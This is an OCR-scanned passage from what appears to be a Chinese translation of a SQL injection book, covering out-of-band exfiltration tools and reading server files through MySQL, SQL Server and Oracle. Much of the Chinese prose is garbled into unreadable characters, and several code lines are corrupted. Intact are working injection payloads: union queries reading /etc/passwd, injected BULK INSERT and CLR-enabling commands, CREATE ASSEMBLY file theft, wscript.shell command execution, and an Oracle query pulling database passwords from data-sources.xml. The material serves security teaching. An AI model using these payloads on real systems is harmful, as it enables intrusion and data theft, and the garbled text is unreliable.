REEEMIFFIM SQL B RX 2 — BBtk F M eIt & - -MrrE. X =&
MERH BRI, KZEHFRF N F—Bir. HIEE SQL BERwFIFELT AT, B
ATEBH R B  EAT A VEBC A I 18] w BRI 3= e 1 (L an DNS) SRR B . LA SQL
#7538 A —N&[E] TRUE 88 FALSE (¥ % 9 S EEHAT LT, BaEEEEM KT IE
AT

BHARSKI SQL BIERRAMBREERENBBARL. —HRIRHE, BRIMEE
REHRIATATH o ZEBITRAT 2 Wi 5 26 3 2 T S 1 A 1) (R P RO A T 2 MR R g
WEE TR, REMTATEAONE. FEEEALH SQL HiEREN AsLEER, &
ERFFERLER, BEAERBNTRETH. EMNPHLEEEBARE, HFLEMLST, Al
(S EZLEZ AL

17 SQL HEAM SQL BiERIEAIANINZ /G, sk mist—SRA: PHFAH - HE
FREARZIG, BTRMAAR? EE—SFHRERIERL? 6 HBREER!

58 thigfEAFER

1. FHHFWIASQL HiE

o TERACEHE KR [A] — il P R T M E VEGH R IR , X A 4 5 B (B s ) 23R )
KA SQL AN . BRSSP, MEBFEFBN 5, MR 3+2 86 - 1;
MRFHRESHPMLE “MadBod” , N$RAT’ Mad'||’ Bod'.

o FRERFANENME: REEEEFEERULEFEEH TSR TENAR?

o FIEISAE SQL i F—{ 2 1 i8R 0 SkHEWT BAMZ B AL, HIRBHEWTE AR AT H T2
iz H xR,

. (ERETREEAR

o AI§E A AL Ay i Bl ik 4 B AR BB A A IR S R R (A, T o BB G
SLEEP()K &Y iy $ 53z 17 i A 1R K M R 5 I EIR .

o HW T SQL Server b LA [A]/E Ky HEMWT /7i%, ANiL7E Oracle 1 MySQL ERIA KA,
ZHHIRTRES R

o {3 B (E) 45 0 HEWT T i AE A R RN AT SR, B HIT DAE R 1 i i kA B H A B T

. (ERE TR A

AR AR A 7 A B R RO AR B SR A N A B ROR BRI E . — Bk
B, AARBEATHUET —FEATA, CREBHREENNERRFERNAZIR
E 2245 R

N

w
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SOL SEAHSEAH

F-S

5.9

TN AR AR AT T T 2 F 2 R BRI .
REEHRT, —MERTEEZANME B

. EREEREBE

WAMNERR AR ATLALLBTIERL 5 Ak IR R, 3F Bl - B B st
B HEEIER DNS. Bl SIREUREDIT — MR ER, BRSSP dsd
FHEHIBAZ AR T — BRI R . HAilEEHE HTTP 1 SMTP.
AR B ESFAR R L ROEE, SRR RSN T ERRE A 5 S R
AR,

B#FIH SQL §ix

Absinthe FIERNTE TSR HOR BEBRAT, 3 ELAER FR L 58 5 00 o [ A 3 B 1) AR Sk 4R
ZUAT OB FE(AVE R B BNE R ITIRAD TR R . HEKR GUI AW EHEH R TR
YFI VRS, (EBR/DREAL SCRER I T HAKRE .

BSQL Hacker 25 —sKEFRAL TR, S {F 5T 0 7] B ma R A Wi B R bR 8 12 e
MR ] R P PR I . BARE VI THNAM B, ARMBRE, B TAMNR
REFEBHETREKFENS.

SQLBrute f&—3Kar 4T TR, BBt 75 8 18 FH 2 T i i) sl o o O >k ) P A s O
B

Sqlninja HREFFE, EXFEHET DNS Mk EREERPITEREHNS. HE LA
—AN B TR e B (wrapper), WIS DA B BB RPAT AL . HERH
WK A fr 2 s A4 6 — > DNS #KF3), ERPEE T HILEHEHE.
Squeeza MM 5 —MIAFM SQL A, EHEIRAIE SEIRMX HTF K. EaHrd
T TRAMEME T I A HENT . ARAERRER DNS SKIZEUE (8], DNS H#i 5w &8
T-SQL RAT, HIMATE LA it

& I E) AR AR A

)R RARZHRT|SHAE—MER, XETE SQL Bk
E: NRESERPE. FATHER SQL BRI, 7 AT RERE N N A 72 B P 2 A

BB E] T AR RN AT ED 3 — AR

B : WOLME] T —A Oracle Jild, 27 AT {# I 18] 5 A HEWTE A ?
RE: +H/)\NATLL. BRIFELEEAN— PL/SQL R, FMIZE Oracle F i il &R K

HEHSKBEEN AN S ERPRB(tLT, ERERFFENMYE F#fT
DNS &), XHMEREES AR,
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RE&HA T A{#H HTTP 5t SMTP 1§ iz #EiE?

BRI A . HTTP fl SMTP H{ER R EEN T EZEF WM &4, TAMES
AT R RB A RALX PP LR E, TR, (BXFRUNE LR B TR 4t
H BT 7 .

{8 DNS 1E 578 iR IE B RE D IHA B TR AL FR RS 8805 7

Rf, EHFARE. — M AHRJLRITH T LS B —AMEFT T 2 B0 R 1L IR 55 45 A
%o —BHEFCITRRAHLE, SRS R DNS FRBHEMEF, JLET
RITEP AR TAA LIE .
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214 SOL AT HSREE
6.1 ik

B 1 BRBER PR BN — S —— R SR B R TR R R G . K2 ¥
PERHR EERBIREREDGE, OF SERESTRENZEOULEE TV REGEENE A
E N ThEk.

F Lt F (B, %FF Microsoft SQL Server Fi Oracle KiK), ZMBEALRLEHRARIR

EPF SRR S R bug R TRIFIFE. WA, AT LR I%THEEME K SQL #EABIF
HREE, BEFRANRRGEE ). BBRTHKNEZEQMEERS R “JiE” )e

Ztﬁﬂﬂ‘]ﬂﬁﬁﬁﬂfﬁﬁ?ffﬁli‘fq:ﬁgﬁMﬁﬁﬁﬁﬂqﬁﬁ(%ﬁﬂﬁﬂiﬁﬁﬁiﬁiﬁ)n BATE
RRHERERNRME RE EHAT R R A 1A, v 2 A e AN B SR P A T A (X SR 2
HORE N R3S

EIFRZET, BAVE T B—F AT A G AE TR IOSFFI AR . MR, NBEHE,
ERRA A BAEHELHE. MAXHEENEERE, A JUAN R BT LU B A1 04
LB SQL HEAHH EHL.

Biln, B EYE RS R IBNA M XK 5. SRR B 1 52 3 B S T ),
TR E HOHE P IR 45 38 A B 204t B AR 4L KPR H R AR S SR AR R B Bl
AR IFEIRTIR, BRI R AR 45 58 IR T 48 oh, T S0l P 48 38 0 — ol “BARFEE” M
g,

R SQL HEABEANBIEE EHZ B LR R3] HiEa —/EE, EABEHRRHET —
FHEE DL EOHL 2RI A 40 1 JE B IE ek A IR B (9 40 SRR 1. THEEENRSEEE RN
PR PR EL R (DBA)IE W 4R 553 58 0y L v 3 B 42 1 P2 ) GO0 T 30 T B4, BEERARES
KB RAE A RAEA P R BAENBLE b, Tk 8 2 3 e R o B 2 THE & Y&
A BFIA SQL A bug SRHKFH: A 8 M K i BT (9 4 i 2 P HR RN F R B R
FERERIEAF . BRITBERERS 7 90X 5.

RAPRAY LS

RINAF 4 Fi1itithsh SQL EAKE RIEAREME TARA M7k, %% RXEYh
RERM R AKX EAER SQL A P RARA B HIRREST, EFH, RIFAR
SRR IRRIE, FTAT B AR 469 db-sysadmin AR RSB E S HIBE, By
RS RBATRBIRF, hTFTEANARE, KSK A3 SQL EATLEHEBT R Y
WA P RIRBAN GGRE ), B QA 3 A7 ik kA Bh 18 M B AR R SR B ) P IR 4 2435
BARBR P .
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6.2 FFXMHEL%

VilJiZfT DBMS BIEN ERSCHRENBERHHEHRTH Y, HHERT, XEKE
BAERGBIW, FRRAENLE EAEB)RYE: TALER T, &R RE SRR TFERRE
HISUE(BI AT, MySQL >J 15 LA ASCII SCAKE AARAF IR SO, BRI SO B el ] LA ZE oK ik 3
DBMS 3 E 48 5 B O I BUEGR 1 N 7).

6.21 EXH

fEIZAT DBMS N EBBUERSCAEIIAE /1 0 B AR B F 4R T IR 245 ML
o “HHA AT 7 BAEEOEE, Kb KM E Lk — S EEA N E. R,
R R RAEAR AR E R T B0t & 10 E AR o RS Teti 3 1 B bR R AL b D7 B SRS sk —
B A B Al BEA AR B SR KA B UE B UME b Lk . A H AR A4,
Briti 5 AR A S AEAE BRE ASCIL SCARI 3 s Se k.

B TR BRI () ) B s BCat o R A B 2 A S A (0 Al ot B0 P VR S
1?7 AR LHEHER, KR ERIES 4 TAH 5 EOBNGEERETE, W2
Ve, AN AR R MRS 0T B BRSO RGN 9 A 1R SQL BN — B84y . S L,
BUH M R 55— A e g (¥ 1) L

1. MySQL

MySQL Rt T —FE &l M Thfk, XIThAE A A LOAD DATA INFILE 1
LOAD_FILE iy & 3CA U BISE o 38 8 5 (9 MySQL % /i, “LOAD DATA INFILE
B R LLAEH PRI RE M SO SRR AT HOR S R . ST BB HR— AN CES 7

BAVFHF—F LOAD DATA INFILE 4 ik, HAEFRERTE.

FRIE— MR CA ST, 2K users.txt:

cat users.txt

barcon meer haroon@fakedomain.com 1
Dafydd Stuttard mail@fakedomain.net 1
Dava Hartley dave@fakedomain.co.uk 1
Rodrigo Marcos rodrigo@fakedomain.com 1
Gary Oleary-Steele garyoB@fakedomain.com 1
Joe Hemler joe@fakedomain.com 1

Maroc Slaviero marco@fakedomain.com 1
Alberte Revelli root@fakedomain.net 1
Alexander kornbrust ak@fakedomain.com 1
Justin Clarke justin@fakedomain.com 1

B FRTE MySQL ##l & ISIT Fol@r 4, QB -KERBIEEHMIEEE R

mysql> create table authors (fname char(50), sname char (50), email
char (100}, flag int);
Query OK, 0 rows affected (0.01 sec)
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RIEHE S U RSSO G, A T 51 ar TR

mysql > load data infile '/tmp/users.txt' into table authors fields
terminated by
10 rows affected (0.00 sec)

10 Deleted: 0 Skipped: 0 Warnings:0

T PRIEIE PR authors RITA BRI, AAEXMC LW TN FALIEE .

Query CK,

Records:

T

mysgl> select * from authors;

Fommm——————— L e o e t-———— +
| frname | sname | email | flag |
Fmm e ——— Fmm e temm——— +
| harcon | meer | haroon@fakedmain.com |1

| Dafydd | Stuttard | mail@fakedmain.net | 1 |
| Dave | Hartley | dave@fakedmain.co.uk | 1 |
| Rodrigo | Marcos | rodrigo@fakedmain.com | 1 |
| Gary | Oleary-Steele | garyo@fakedmain.com |1 |
| Joe | Hemler | joe@fakedmain.com | 1 |
| Marco | Slaviero | marco@fakedmain.com | 1 |
| Alberto | Revelli | root@fakedmain.net | 1 |
| Alexander | Kornbrust | ak@fakedmain.com |1 |
| Justin | Clarke | justin@fakedmain.com |1 |
i Fomm e B ettt e +

10 rows in set (0.00 sec)

FIRE BRI G, MySQL 3R 4:T LOAD FILE ¥, EidZ%R%mr LLIgE ok,

BB A R
mysgl > select LOAD FILE('/tmp/test.txt');
e e ittt T +
| LOAD_FILE('/tmp/test.txt')
e +

| This is an arbitrary file residing somewhere on the filesystem
It can be multi-line

and it dose not really matter how many lines are in it ... |

1 row in set (0.00 sec)

APBRERR SQLEAN, 7EEAM SQL A X e fE & EF ik, THIT MR, 15

R — AR 5 R B A BRI s (B 6-1 FTr), e RV P RRBE

ZH R SR ENEASGE, BT EARAE T RES TS, RMXERESEM union

A hIERITIE, %k AR EE SQL Bl 2Rk DEBUG HE. RiMHEE “a”,
HERWE 6-2 B,
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@ http:/ /intranet/ cgi-bin/customer.pl

Search

B 6-1 55323t vy 38 S i 77 )

@ hup:/ /i /egi-bin/c piTterm=a&Submit=Submit .

Search Results

Alpha Tailors [[Omega Street
Aztec Publishers  |[Inca Place

Beta Stores [Never Ready Close
([Barby Dolls 198 Plastique Place
[Brady Bunch Florists|[789 Tulip Lane

—

Ee62 % “a” FERTRNZSE
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BRI T ATE /4 LOAD_FILE fr&iEi%. RAPKEZRMEA union BHEAFRIEE T
£/ etc/passwd 30, A T IR

' union select LOAD FILE('/etc/passwd')#

R EI RN LB IER 5 union BHAFH XN RN E—H N EH T HFIHE
PREFAASE

DBD::mysgl::st execute failed: The used SELECT statements have a
different number of ceolumns at..

BATERMBRESERRMN— T UABOREER, REHRHMT:
' union select NULL, LOAD FILE('/etc/passwd')#

XHBRIMNPERNRTE F, GRWE 6-3 Fin. IREEIRIE T 8 E+ 85T P L
RBATFTHERIAFHIA R -

[Bem Stores [Never Ready Close

{Barby Dolls|[198 Plastique Place

Brady
{{Bunch 789 Tulip Lane

[roorx:0:0-root/root d: 1:1 in/sh bin:x:2: in:/bin/sh syn-s-hys;.fm;mwm
sync:x:4:65534 i & 5:60:g g
lp:x::7: |pwm'npmmpdmm.r:h fsh /bin/sh

uucp:x: 10:10:uucp: 10 /bin/sh proxy:x:13:13: prmyhhibm@wwdmxﬁ 33wwwdmﬂwwwhwih
haclnxp x:34:341 bukupwmmupamm listx:38:38:Mailing List Manag ire:x:39:3%ired: n/sh
|gnats:x:41:41:Gnats Bug-Reporting Sym in):/var/lib/g y:x:65534:65534: mbodyinmmmfblmh
idhcpx: 101:101 A g:x: 102:102:home/syslog:/bi Klog:x:103:103:h in/fal
icupsys:x:100:106::home/cupsys:bin/false 1 x:104: IG"‘ fdby 108:108:F
Inyw _.Narﬁmmwa hiplip:x:105:7:HPLIP system user,,,varirun/hplip-/bin/false gdm:x:106:111:Gnome Duplay

varflib/gdm:/bin/false haroon:x:1000:1000:haroon MWM sshd:x:107:65534: var/run/sshd:/bin/false

| X 109 114 .Mln‘spml.l'posdix Jbin/false nessus:x: 1001 0:nessus,,/h i mysqix:110:116:MySQL

—

B 6-3 ET R B etc/passwd
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VG, XM 1) S0 R4 7 B SR $od ) P2 4875 File BUPB, T FLFREER M OB %
FFOER AT, 7EIE% L, LOAD FILE #r4 ERKdiH N3 BFRO). AN H ST
RERVERCT T, XINEAR5)SL5 KA. NGS Software A Hff) Chris Anley 3t
“HackProofing MySQL” H#iti: MySQL 1/ 3t 715 B 24 R . X R
H T B &IEA RS

select 'c:/boot.ini’
select 0x633aZ2f626f6f7422696269

BT REEAR FIX R 245 A
LOAD_FILE pfi $d A8 WA M AC 78 — RSB SO0 o S RERE AT AT LUK FH % o o930 5 /b B
BITGRA 5) H IR LS it S A

mysgl > create table foo (line blob);

Query OK, 0 rows affected (0.01 sec)

mysgl> inset into fco set line=lcad file('/tmp/temp.bin');
Query CK, 1 row affected (0.00 sec)

mysql> select * from foo:

Femmm— e — +
| line |
Frm—— e +
| ARZ?7?A |
frm +

1l row in set (0.00 sec)

A8, BIEERR AT, BTULRATEEAE H . ARt MySQL 1A B i HEXOF
BOHBATRAE T 3R -

mysql> select HEX(line) from foo;

e +
| HEX{line} |
e +
| 414190904112 |
et L +

1 row in set (0.00 sec)

LOAD_FILE fir4+3 3| HEXOM ¥ 5 RIFE AT LAULAE, SXRERATE o] LU A 5 32 Mo (0
VA 3 R 2 SR AZE R S 1 R B B gk b S

' union select NULL, HEX(LOAD FILE('/tmp/temp.bin'))#

ZE R E 6-4 Bk
o] LA substring ek 23S W A HEATIR G, XA — U T LA OB R A — b~ HEHI S0, M
10 5 AR T R 9800 FRY B 61
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Lale Bl B+ Bl B g/ finicaner fegi- bin customes.

[kest R 123 test street
ia}BC\'_\f_ho.lullm Alphabet Street, Houston
[Alpha Talors _ |[Omega Swoet

B 64  RE 3BT

LOAD_FILEQiE 8 UNCCEFH fir 45 205 ) Bi 4, 1 {754 Bt (K ek 2 T AZE SLAt AL 28 |
BHEIHF, BELIGS MySQL A5 B B3 fh i1 B S HIHL 2R

mysql> select load file('//172.16.125.2/tenp _smb/test.txt');

R il T . ——— -+
1l row in set (0.52 sec)

Bernardo Damele A.GJTZH] sqlmap TR (http:/sqlmap.sourceforge.net)ii it --read-file 4>
ITIRTR B ZThRE:

python sglmap.py -u “http://intranet/cgi—bin/customer.pl?Submint

Submint&term=a"--read-file /etc/passwd
2. Microsoft SQL Server

Microsoft SQL Server # Microsoft %4 JF & £ iy J& #l(Security Development Lifecycle, SDL)
HREMAL= R, REW, B4 SQL AT ik RS Z 1 AT . X—7
TR BRI 0 B AR S — I R AP EL B B2 X8 (— - Ff Miicrosoft 314 J3 3 FF R BGIEHE), 53— H T RE %
Microsoft SQL Server ST #FHEL BT #] . & B BB ETGE 7T I (0L TS0 LAFR R M b, X AT 1L
MEFXT SQL Server T AFMIEA MG RD/BFIFSE. SensePost OB M EH A& T T A, ALl
RHEN R B 58 2 R B DNS B . @R R4 2 H H % TCP Ak, '

BAIMKTFEG, SR — 5 LBt 9 Web N MIZEFE SQL Server iEBUC . ¥ TFiX
FRiEBL, Wit (DSREARLEH R BRI %S —MEMH A BULK INSERT 4.

f£F Microsoft SQL Query Analyzer(B 6-5 ff7%)3EAT BB IR LT B HRBRTHH
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BULK INSERT 3372

— _ —
i ra SOL Query Analyzer - [Query - localhost.master.sa - Untitled1*]

Al CREATE TABLE boof (line w
‘bulk insert boof FRONM ‘e:\boot.ini';
‘SELECT line FROM boof

timeout=30 .

default=multi (0)disk(0)rdizk(0)partition (1} \WINNT

'['ope:aaing aystems]

multi(0)disk(0) rdisk (D) partition(1)\VINNT="Hicrosoft Windows 2000 Server” /fastdetect

B 6-5 SQL Query Analyzer 4] BULK INSERT

RDBMS LA B3R 77 sALEE SO 8 77 DA B AL R L TS ) SR E TR I B RS RIE B R B T I

HA BRI N AR B EOX—Y]. BRITEFAE -MERNMEH ASP REW™ENA, ©

A Microsoft SQL Server fE A /G 6 . B 6-6 BAR TENHTRA “%” FHHRER. EUiLH
%ﬁﬂﬁm(éﬂﬁﬁmm, mﬂlﬂ?ﬁﬁmﬁﬁﬁﬁﬂ

Mhicroaolt

l.[.} SQL Server

You searched for: %

First Name:|michu _[Last Namesvan wyk _|Tol Number: 555-1213

K 6-6 —~PyER R R A B (fE  Microsoft SQL Server 1EAJ5 )

— B HBE sname FEREZIEANTGE, MERT LB select user_name(). user B
loginame YE\— union XK PRI # & BB AT A PR £ 51 :

http://intranet/admin/staff.asp?sname="' union select NULL,NULL,NULL, loginame
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FROM master..sysprocesses WHERE spid=@@SPID--
LR 6-7 Fi7s.

Lale Ml Mo B

/admin/staff. " union select NULL,NULL,NULL logl
.. [,
.U SQL Server

You searched for: ' union select NULL,NULL, NULL,loginame FROM
master..sysprocesses WHERE spid = @@SPID--

[FirstName][Last Name: [Tel Number-ea)

D —

B 6-7 WATEA

FTRX—ERE, BuliFsksnd, nEh%asska e b Query Analyzer F2FF H14,
ITHIHS, PETIERR LSRN

http://intranet/admin/staff.asp?sname="';
//create table hacked(line varchar (8000));
bulk insert hacked from 'c:\boot.ini';--

REWAWBEEERIT — AN F AN UERREF WROROER, WE 6-8 Fin.

Lalo Mo N+ 0 e Fenn/

fadmin/staff.asp?: " union select NULL,NULL,NULL line fr@ Q- SensePost &

:5 EEML Server

You searched for: ' union select NULL,NULL,NULL,line from hacked--

B 6-8 il Microsoft SQL Server iHx —~ {4

IR, HARGIPNARESUXFERERN T REFEI& R, HE—BER T #E#HA(bulk
insert), BUifi# (ET LAMEAISE 4 AE S BA G HIHF H (extrusion) 73 K M B3 B 3R BUEE .
#EAT BULK INSERT i ¥ B CODEPAGE="RAW", iX¥t—3%k, K& @bl SQL Server
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A IS, 24 SR B 2 JE AT AR H AT E . SensePost 485 i) Squeeza
T BAE lcopy BERKHZIRAE AEIL, AWKGHER G RRTRATHEREA, R/EENLR
EEESCAE B, T RS HLEI(DNS . LR REDRBRE R . T AEIL R
TEFRHLIR AR —/ 3 S0 (c:\winnt\system32\net.exe) 3 FREUIE MDS e 75 E R AT SR
1 6-9 FRR 7 3REX B/ R4 net.exe —BEHISCHRIRRE.

¢+ Command Prompt

& 6-9 netexe ) MDS5 WA

FA1E A — A4 B4R N A ) squeeza.config TSR A L E— TR R
boot.ini K132t c:\winnt\system32\net.exe. B 6-10 B/~ T Squeeza A RIVEHIHitH .

P 6-10  MAIT R AR 458 5L ) — > HERISCHE

R ER, AR LULBIEIEK boot.ini P A5 HLRBTAX () net.exe %
KA.

[ haroon@hydra squeezal$ cat stolen-boot.ini

[ boot loader]

timeout=30

default=multi(0)disk(0)rdisk{O)partition(l)\WINNT

[ operating systems])
multi(0}disk(O)rdisk(ijartition(l)\WINNT="Microsoft Windows 2000
Server"/fastdetect

[ haroon@hydra squeeza] $ md5sum stolen-net.exe
8f9f01a95318fc4d5ab534fa76b stolen—-net.exe

223
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(ARIFEFTIEH) Ichannel IR, fEHid BRI gEtbBeR S, BB, Aiatar LUt s MDs
{ELSRAIE B SCA-46 4 EIRA) e A )

R DRCEE AN J7 %, B % 776 OLE Automation 53231 SQL Server i 30 {3845 .
Chris Anley FEX 23 “Advanced SQL Injection(74% SQL 7 \)” 8 /4t OLE Automation
BR. £ Anley BB F o, B 568 wscript.shell 3t R 70T RIS 2 Rt —4 Notepad(ic 2
ENZ R

-— wscript.shell example (Chris Anley - chris@ngssoftware.com)
.declare Qo int

exec sp_oacreate 'wscript.shell', @o out

exec sp_ocamethod @c, 'run', NULL, ‘'notepad.exe'

288, A EF EFER ActiveX ARG THIL, ActiveX ST QIR E HEH LS.
EGORBIBAKIEILT, RGN QAT R T — R0 B 2 B B 1 i I
6-11 &7~ T £ SQL Query Analyzer P4 &4 F (i A )Scripting.FileSystemObject {I1#7% .

f & SOL Query Analyz

I declar , B 4
I declare Bline varchar (8000);
N exec Sp_oacreate 'scripting.filesyscemchiect', Bo outr;
exec 3p oamethod Qo, 'opentextfile’', Bf our, 'c:i\boot.ini', 1

exec Qret = sp_oamethod @f, 'readline', @line out; -
“while (Bret = 0] begin print Bline exec fret = sp_ocemethod Bf, 'readline', Bline out end |

M(koot loader]
timeout=30
etault-multl(Ojdlsk(m:diskm}partition(lj\UINNT
flloperating systems]
prulci (0)disk (0) rdisk(0) partition (1) \WINNT="Nicrosoft Windows 2000 Server” /fastdetect

i 6-11 1% Scripting.FileSystemObject 3 ¥ 3r 44 & 4k

BT ORTT LA A AH R B R AZ 4 SQL Server =4 1l W88 R 51, 330 7 51 22 B B8 A0 2k
HIE 2 ZGE R F NSRRI . AREESOXRE—F Bt B 856 A SQL
FENGRIE AR S5 2R 00 S B84 ) — MR TUM,  LASESRA] A 30 22 7 B3R

SQL Server 2005 51 A T 1R 2 3 B4 73 Brati 0« R ¢4 7, Horb B K042 — R 76 SQL Server
WEBFIA T 23478 F 1847 i (Microsoft Language Runtime, CLR). & S 77 & A B¥% .NET — i
S B 40 SR A B B R h 9 A IR R AR T H IR T KBNS . MSDN X E iR £

“Microsoft SQL Server 2005 i i # ¥ Microsoft .NET Framework 2.0 [{] CLR Bf 5 #8328 T %
REPEGRTEREY . & SC R FF R A B8 BT CLR 5 35 (JLH R Microsoft Visual C#NET. Microsoft
i
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Visual Basic.NET I Microsoft Visual C++)R % 5 Al 2. ARZBMRE. BEEARHFITRAR
fE BT R R B AR T BEIEE.” !

BATHE RN H CLR S, IRLE NS o) il F i 72 Rk B 4 - wE L4 A 15 SQL
Server R AFRFFEM TR A ERLIMZER . B DEMILAEBERZ SQL Server 2005 2R
IWHHT CLR £5. HURAFTRETHERR G2 SNMOR, BABALSFELRE, R
AT LA sp_configure FA6kid 72 8 iz she, 1l 6-12 Fios.

exec sp configure 'show advanced options',1:;
RECONFIGURE;

exec sp_configure 'clr enabled',1l
RECONFIGURE

Bl 6-12 fEA CLR A%

HROEMER 6-13 PHREFIRD), MATLURE SN S XEN AU ERRENGFHFS.

. b

> HeH+Hel € hitp:/ fintranet/staff.asp?sname="; exec sp_configure 'show advanced options’, B8 Q- SensePost 3

You searched for: '; exec sp_configure 'show advanced options', 1; reconfigure;
exec sp_configure 'clr enabled’, 1; reconfigure;--

o s i e e R e GRS A
B 6-13 EiLNAI/SH CLR 45k

HFRAER LAEA] CREATE ASSEMBLY 2R 3 Mz 2 ik 45 2% IR AF T NET — 3t 304
BHAET
BATE A T 5N FF/F 8 INE.NET #2574 c:\temp\test.exe:

sname=';create assembly sgb from 'c:\temp\test.exe' with permission_set
=unsafe--

SQL Server 7£ sys. assembly_files & 725 RIGH —#EHISCHE(MEA HEX £/ 58). #H
Query Analyzer EF ERES, WHE 6-14 Fizx.
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select top 1 content from sys.assembly files

B 6-14 A YR FE h A RIS

R AR Web T & E %301, NI FFEBLS 4 A substring)A! master.dbo.fn_varbintohexstr()
PR
sname="' union select NULL,NULL,NULL, master.dbo.fn_vwvarbintohexstr
(substring(content,1,5)) from sys. assembly files--
6-15 B7R T W45 A union. substring F! fn_varbintohexstr 24 Fif i {1 W 2F KR —
RIS -

You searched for: * union select NULL,NULL,NULL, master.dbo.fn_varbintot (substring(content,1,5)) from

6-15 {#i/f] fu_varbintohexstr 1 substring X —# M 3C4

SQL Server £ 7E N (FIEAT) 4 1 304k SRFE Fr 4R e BEAT I IE LUGRIERR PSR 2 3T NET
PP, XL RAE A CREATE ASSEMBLY #54 6 (35 i B 4E CLR B 3304

CREATE ASSEMBLY sgb2 from 'c:\temp\test.exe'
ERARAEAT AT FIR

CREATE ASSEMBLY for assembly 'sgb2' failed because assembly 'sgb2' is
malformed or not a pure .NET assembly.
Unverfiable PE Header/native stub.

SEIE M, AT A — e TG RB FRX A B . B S nER— AN BN NET 3 IS,
> FEF{#H ALTER ASSEMBLY #r4 [f] ASSEMBLY ¥Rin#hs3cit. BEXAHEER, m¥dR
EERR AN SO I A B B AT AR A, KRR, ROV DARHE R 3 S0 (B A
ASCII 3088 3 R UG TR P4

create assembly sgb from 'c:\temp\test.exe'
alter assembly sgb add file from 'c:\windows\system32\net.exe'
alter assembly sgb add file from 'c:\temp\test.txt'
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WL AT sys. assembly_files BHATRFEAESRIN, KM CLBHMIF Bl ER substring/
varbintohexstr H AN HI#HITHE.

% R A F SYSADMIN ZH (R B2 [ R 4 H R scfF . BRI AR SER, B—ERI%E
HERGE M AR

A ERY G N TEIT SQL Server RIAT M4 . (B HATE L, JLEFHH GLIRATEA]
DLAR 25 5 b 4 i Rl iz B2 ST A4 1 B G oL 1% B VF 2 7001 F 250908 e et 4 P )5

3. Oracle

Oracle Rt T R MEKZEMERFEIEBOCAR F L, BHAPREE I EMERESIZT
PL/SQL fR#5. Rl = FAS 8] 0 (2 % B8 1 SR ) ST A -

e utl file dir/Oracle directories

e Java

e Oracle Text

BRATE LT, JERRAUE P O A RGBS 3O R RER T IERRIALR, Wi
BRIESER/RES

BH R 6997 e SCE R 73 utl file dir A Oracle directories, @ LA#H utl_file_dir #{
B FE 2 $(Oracle 9i Rel.2 X Z R WIRRAANBREAERERGZRE —MEX, ITEERER
FHEIV] LATE % H s&(check:select name,value from v8parameter where name=' UTL_FILE_DIR")¥
B/ 5/E RIS, R utl_file_dir BF{EA*, MAFAEEMR R #ATHIRESRENRSE. IHRAK
FTANT 19 Oracle IAfF/E H R A, X B EREEREMENES.

FH) A utl_file_dir/Oracle directories A Oracle ¥ P i B U4

e utl_file(PL/SQL, Oracle 8 & 11g)

e DBMS_LOB(PL/SQL, Oracle 8 & 11g)

e HMHFE(PL/SQL, Oracle 9i Rel.2 & 11g)

e XMLType(PL/SQL. Oracle 9i Rel.2 % 11g)

F#| PL/SQL 7=EIACHE M rds.txt SCAFEHL T 1000 N 735 (B —NE T FFIG), &HLT
MEDIA_DIR H FH.

DECLARE

buf wvarchar2 (4096);

BEGIN
Lob loc:=BFILENAME ('MEDIA DIR', 'rds.txt'):
DBMS LOB.OPEN (Lob_loc, DBMS_LOB.LOB READONLY):
DBMS LOB.READ (Lob loc,1000, 1, buf);
dbms_output.put_line(utl_raw.cast_to_varcharZ(buf));
DBMS LOB.CLOSE (Lob_loc);

END:

M Oracle 9i Rel.2 FF#4, Oracle $&4t T 3@ i 41 553 S HX ST (K §E 71 . Oracle {8/ SQL*Loader
8k Oracle Datapump(M Oracle 10g FF i) A& #4LSCHF - BREX$3 . 41 R CREATE TABLE i)
hAFLE—A SQL IEAWI, W AT LUSHRHER S SURSM & -

TR — B AN R S B AR
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create directory ext as 'C:\';
CREATE TABLE ext_tab {
line wvarchar?2 (256))
ORGANIZATION EXTERNAL (
TYPE oracle loader
DEFAULT DIRECTORY ext
ACCESS PARAMETERS (
RECORDS DELTMITED BY NEWLINE
BADFILE 'bad data.bad'
LOGFILE 'log data.log'
FIELDS TERMINATED BY ',°'
MISSING FIELD VALUES ARE NULL
REHECT ROWS WITH ALL NULL FIELDS
(line))
LOCATION ('wvictim.txt')
)
PARALLEL
REJECT LIMIT O
NOMONITORING;

Select * from ext tab;

# PRI M data-source.xml L HIEEUR 4. X OSHEESLFE. ZLHEENS
ERIASCAH(FE Oracle 11g ), ‘B THT Java MEBE TS . XEABE KM AR: TR
EBR B select 15 6] N 5744 H & el & 4 3L A 4E UNION SELECT.

select

extractvalue (value(c),

'/connection-factory/@user')||'/"||extractvalue (value(c),
"/connection-factory/@password') ||'@'||substr (extractvalue (value (c),
' /connection-factory/@url'), instr{extractvallue (value(c),
'/connection-factory/@url'),'//"'")+2) conn
FROM table(

XMLSequence (

extract (

xmltype {

bfilename {"GETPWDIR', 'data-sources.xml'),
nls_charset_id('WEBISC8859P1')
)l’

'/data-sources/connection-pool/connection-factory'
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B 7 ¥ FH utl_file_dir/Oracle directory #F, i o] LLAE A Java K% S 304 . ] BATE Macro Ivaldis
1 Web 48 EHBZFTEKREIAREE, AikHhll www.oxdeadbeef.info/exploits/raptor
oraexec.sql.

Oracle Text J&— iR />F A SNE K EHCCHE M URInate fEE K. EATHE Java B
utl_file_dir/ Oracle directories, H R AHILE 3048k URL A RI- 5k RFHH OB — P e X &
SIERE -HESFAICRT QRN ZER TESENHHAZE.

TFTHIRGHRIS LR T el i@ K boot.ini A F]— 7K & P RIEHZ SO

CREATE TABLE files (
id NUMBER PRIMARY KEY,
path VARCHAR(255) UNIQUE;
ot_format VARCHAR(6)
)i
INSERT INTC files VALUES (1, ‘'c:\boot.ini', NULL);
CREATE INDEX file index ON files(path) INDEXTYPE IS ctxsys.context
PARAMETERS ('datastore ctxsys.file_datastore format column ot format');
-- retrieve data from the fulltext index

Select token_ text from dr$file index$i;

6.22 BXH

i, Bl REETREEN EBCE- -SRI LR fh “HE T B CrIARE 7. e,
LIRS 28 5 U R B B B N YT . B b, SEERE R EE IR KA, BEALMN
B BRBEREETER S AR®E. SEAXHHREE AR, % MmN PR
BB i S Fe 2 Beek o BB B “HFSk R ).

A E FHE) RDBMS 48 N B K W ARS8 U RES U DhRE. MIBERE RGN
AFE, 7E SQLIEAB G IX IR REEBHEER.

1. MySQL

LS FHE, FE—NSRTHENHK MySQL LOAD DATA INFILE ESCA 4 H X R (1)
& ——select into outfile(dumpfile). x4 N LIK—%% select B MLE IS F| MySQL 3FEFT
